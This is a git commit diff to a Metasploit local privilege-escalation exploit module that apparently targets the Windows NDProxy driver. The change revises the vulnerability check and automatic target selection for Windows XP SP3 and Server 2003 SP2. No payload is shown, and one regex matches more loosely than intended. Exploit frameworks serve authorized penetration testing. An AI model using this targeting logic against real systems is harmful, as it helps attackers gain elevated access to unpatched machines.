Fix os detection

bug/bundler_fix
jvazquez-r7 2013-12-12 07:39:19 -06:00
parent 8b518776bc
commit eb4e3f8a32
1 changed files with 15 additions and 7 deletions

View File

@ -287,18 +287,26 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Detected return Exploit::CheckCode::Detected
end end
os = sysinfo["OS"]
unless os =~ /windows xp/i or os =~ /[2003|.net server].*service pack 2/i
return Exploit::CheckCode::Safe
end
handle = open_device("\\\\.\\NDProxy") handle = open_device("\\\\.\\NDProxy")
if handle.nil? if handle.nil?
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Appears os = sysinfo["OS"]
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /[2003|.net server].*service pack 2/i
return Exploit::CheckCode::Appears
when /windows xp/i
return Exploit::CheckCode::Detected
when /[2003|.net server]/i
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end end
def exploit def exploit
@ -316,7 +324,7 @@ class Metasploit3 < Msf::Exploit::Local
if target.name =~ /Automatic/ if target.name =~ /Automatic/
print_status("Detecting the target system...") print_status("Detecting the target system...")
os = sysinfo["OS"] os = sysinfo["OS"]
if os =~ /windows xp/i if os =~ /windows xp.*service pack 3/i
my_target = targets[1] my_target = targets[1]
print_status("Running against #{my_target.name}") print_status("Running against #{my_target.name}")
elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) elsif ((os =~ /2003/) and (os =~ /service pack 2/i))